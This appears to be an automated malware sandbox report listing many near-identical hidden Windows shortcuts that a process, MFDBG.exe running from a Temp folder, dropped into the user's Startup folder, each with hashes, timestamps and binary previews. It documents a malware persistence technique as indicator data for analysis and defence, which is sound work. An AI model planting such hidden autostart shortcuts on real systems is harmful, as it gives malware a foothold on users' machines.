File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:02 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924551471497629
Encrypted:	false
SSDEEP:	24:8TBfA8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8VdEvZ0yRO7DLO2zdxdRd1kyg
MD5:	135D11C05B9744EA199123B6969E5C29
SHA1:	7218407BD59F63F1D8C42256887A3E474AB99059
SHA-256:	54B5A210AE33938D5E5B1EEB18B73D328AEC7B7C701CB559CCF7095CDBF32DBF
SHA-512:	9A90064BE6C3C70C3C1D25C07F21D24F8DB94617CE0A590E8F8571DA273D6A46552174240613D37E8F778C99225166388EE6B59666AE937A27B70B6A9A064470
Malicious:	false
Preview:	L..................F....".......d.......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...n...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_256b7bc30da443a3af04f1c3149f2a81.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:15 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921025894649633
Encrypted:	false
SSDEEP:	24:8h+2Bfa8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8XPEvZ0yRO7DLO2zdxdRd1kyg
MD5:	E22D01173BACE8B181938CA2E6760A6B
SHA1:	3F9113DC08717D29B46B670ACB04AD2862E8344F
SHA-256:	F361A9DC2C3C00CFE10ADE43004BEE5717711F0C5B6240891FFE1FB84492DB44
SHA-512:	F728FC143308646FEAAABE9454C97AF0BFB0D3D8813B1F5DE2450255E5C036986578FA1E524C99DB4035284A8504B33F1D6CB518997EAA01BD6A5B11434001C3
Malicious:	false
Preview:	L..................F....".......d...#Y.&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....JM&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_25ced2b584d447acb28fde4d126499f1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923826600915897
Encrypted:	false
SSDEEP:	24:8puBfn+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8mLEvZ0yRO7DLO2zdxdRd1kyg
MD5:	BC76AC9D47FEF063213986463A8881EE
SHA1:	7D0CDE3F990E2DF5A14A5071639C4725BD31CB89
SHA-256:	42FC57EE7F63BEF360764896A64763A1F32096FDE628A58B63D6B00AD1C44888
SHA-512:	5743211BDC895749CA93528628B6A4E32AA2E23D51BB3C026588C4FF5C3B8C7FAA8293AA10F82F0D4BD5444DAE3B87CE19AC8D461DEA82E184D54720A40C0CED
Malicious:	false
Preview:	L..................F....".......d..."..9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....u.9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_26af247b45b143ea82fed89871923c33.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:40 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917269830522748
Encrypted:	false
SSDEEP:	24:8r2BfL8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:84gEvZ0yRO7DLO2zdxdRd1kyg
MD5:	CC21921C0D15CB400B08AD5C0260CD43
SHA1:	14E97856BDA20A3664AB517BBDE0F574220AB735
SHA-256:	95EA6867515EC610BF3334B82F88E65675162CCCF62A3EBE3071F999CBC9A43B
SHA-512:	B819DE3DDFA95A8FD617E1F361D1EC506A7E9E6E9F5975867DF82FF6F352FD7AD56E1E26EA50E083E2BD6E0E467A9E38E8CD27F4EBE70354BDEAE7247F087DB0
Malicious:	false
Preview:	L..................F....".......d......\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....`.\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_26cb77f1a171417098d3a031bf651def.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:38 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930912071452583
Encrypted:	false
SSDEEP:	24:8ZBfD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8D4EvZ0yRO7DLO2zdxdRd1kyg
MD5:	8252CE8D8933E8722DDAA21302B52C86
SHA1:	211DCD2943B497E0498C8F9D290F98A30FEECFFF
SHA-256:	E6380B4E157E18D0752C01F1330A03317EA29418EDEFCCBE504DBA1BE0627311
SHA-512:	D6213EE5B8811A5D0C294F440388AB128DDE6D909E34C151872212B5190F88C20A0BDA020AA74A85F1D54401B457FC2C5A32D33B7D0E6D72A3B57D51BC88A9E0
Malicious:	false
Preview:	L..................F....".......d....3.{d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....n.{d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_26deddffc048422cb7362cc2220c0e60.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:02 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.915335995923209
Encrypted:	false
SSDEEP:	24:8NEBfI48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8Nqg9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	2E3C772B73880FB5195C7494C794B937
SHA1:	96F6012F1E4C5AB2F8FA03C9A58A9322190D32D7
SHA-256:	1A09F51FE89CE6B66E2667383576A2719D0794FA6D00D39FD38BED7561D55561
SHA-512:	15A232CEBEB70835288AB4B5C26BF1297859CA2CF847DABAB21773A22C46439C2C5AD0B8F9E43F0DA4D53E68548836E69A12CDD558228982FA9C999BC7ECA21D
Malicious:	false
Preview:	L..................F....".......d...p...d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...Eb..d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_27ff181837674c12a40a7a802a421fbd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917963145381048
Encrypted:	false
SSDEEP:	24:8brBfx8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ReEvZ0yRO7DLO2zdxdRd1kyg
MD5:	0C93EB80216C4DF1BCCA228B5A0E8596
SHA1:	D793BBF8277BF01AEA7FC793325F71196BF7505E
SHA-256:	0506B29F3DBF5E5FDCE63E3AD42122446B70C28BB075EDA95D6C49C7AD35D64A
SHA-512:	49FC5AA089CDB087DD73BF3FC495B0BFFE06DD48EC737847ED60AC1DFF3C7379478B0B6BA9DA67F03DA8ACB95B3AAC0663C84A78135A1F1E7BFD867E52BF4E81
Malicious:	false
Preview:	L..................F....".......d.....E9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_28308894d2144ef6a4a1b0d5ee7d9390.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:11 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925503291287459
Encrypted:	false
SSDEEP:	24:8bTBfh8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:85eEvZ0yRO7DLO2zdxdRd1kyg
MD5:	71FFCF69E0C286B8BF776F52D438FE93
SHA1:	AE4809BCB4F201BBA671263AA3C2501BB1B3AE19
SHA-256:	1773318219C07FAC094440D5B401F594A2E50A3844D3177BFF26E240C966F107
SHA-512:	4A6763017F7B3EB0F304A4A77529EDB37D8F3663850A899CEF1479B89B3B7C187965B45E048F69C1E0FB0B21AD9FCB0D03BA93AB30D58882C25C017541C48C61
Malicious:	false
Preview:	L..................F....".......d...Z.-$d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....($$d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2831be15071d42308233777dc82adb4e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:57 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926512319505719
Encrypted:	false
SSDEEP:	24:843BfC8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8AnEvZ0yRO7DLO2zdxdRd1kyg
MD5:	1C8835795C5064A1DD37199690D21EB6
SHA1:	3AF501116BD3A4F1C8C884B57A1682749E5401BB
SHA-256:	78A141D56D892725B2A1B93ADA3ABB23F4568B8CD1C3A0F6831FED9CF9BBB454
SHA-512:	B6D75E78B5199B6C52511BF39FEBA458E75DB410DD11BEEF46C17DB870A0517B1C892AD9C1B87BE6D17AA4AEF57C05061CAF05FC05FCC39DF081D5DF4E1BC8C3
Malicious:	false
Preview:	L..................F....".......d.......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....6..d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2885827e0b50446290c9ce877a79cdbd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:50 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919590063270081
Encrypted:	false
SSDEEP:	24:8VVBff48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ZdEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F36CFC326049375590B410ED69F1DA9B
SHA1:	302DBD4F83A327C7715E1562AC1C712C34445159
SHA-256:	48D627642C12C749A9189913179A0E3368C8CAB57DA67AA66779931B602FCD0B
SHA-512:	952E1D545F9EA86F5E048C2ED90E83FE0B0F82A7FFF8B4B291A9831BF00EF802330D49359E00D59F94B4010D639566B87731A5D897DB8795856048849ECB0E0B
Malicious:	false
Preview:	L..................F....".......d...(.S_d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...!.L_d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2956732345a64f45a41c26ae3f9e4552.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:56 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920939255224405
Encrypted:	false
SSDEEP:	24:8YBfw8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8WtEvZ0yRO7DLO2zdxdRd1kyg
MD5:	4D1B966F424C0AF189635C93315DB33F
SHA1:	01FD999E606A409CC40881251F5A6FF1B0E5D6F0
SHA-256:	FA1D090D6F3D7E4A79DEE1A8F83D1B1494017BF652447EBDEC0E8568E4CF9295
SHA-512:	C16908ABE6243C81A76E1BC044D9A4F53B1E9419160251A7A78B654609ECA3A028F4E711C6ED1E052AB55502A1D9D9F29054C7A734391E649D82511C4608E91A
Malicious:	false
Preview:	L..................F....".......d.....6?d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....6?d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_29b24e1c6c1c43a288d9c283f8316a0d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:04 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917666082204692
Encrypted:	false
SSDEEP:	24:8LBfEf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:89BEvZ0yRO7DLO2zdxdRd1kyg
MD5:	88C383904B25D39EB8239038A7A19E56
SHA1:	4DEF2000CD6DA82A00FFEAE241A733C3A5821A18
SHA-256:	D97DCB2C207350D4EAD8A0829CDB86A9CB13EF00FBB65717A4BD9BE74BE52316
SHA-512:	2F4AF69F884693FB6EA7F280D539016F78E441CB1BD6BBD972CA9EE2E33DC731D8D29FC82529B8C15F9F67094C4BB31B42539CA610B50D1ACC6CDC7405EB6723
Malicious:	false
Preview:	L..................F....".......d...P.:.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....F.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_29de0dc500d74b0caf6a45f5f38f068f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921348412446175
Encrypted:	false
SSDEEP:	24:87BfY8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8tVEvZ0yRO7DLO2zdxdRd1kyg
MD5:	1108DC1014E8C1F9F885EF7FFC617344
SHA1:	99EB63A27ABBE295774C1D3907380CE4FA53C5BB
SHA-256:	D27AA6444BACB835B2A8284CD096646238B4BF59DFE56E8B3C2E1A98389B5AEF
SHA-512:	96141B8C37213F94AF0393D5561E646BFF08DEFCDC67FB895D75E15A44ADE22BBD124FE3F50A081F4A508DBFC9482411F8D5A627DA3E12FB70EC281983CEC0B0
Malicious:	false
Preview:	L..................F....".......d...<.z^d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...K.n^d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_29f81ffa4fed49818b8cc6194da7fb76.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
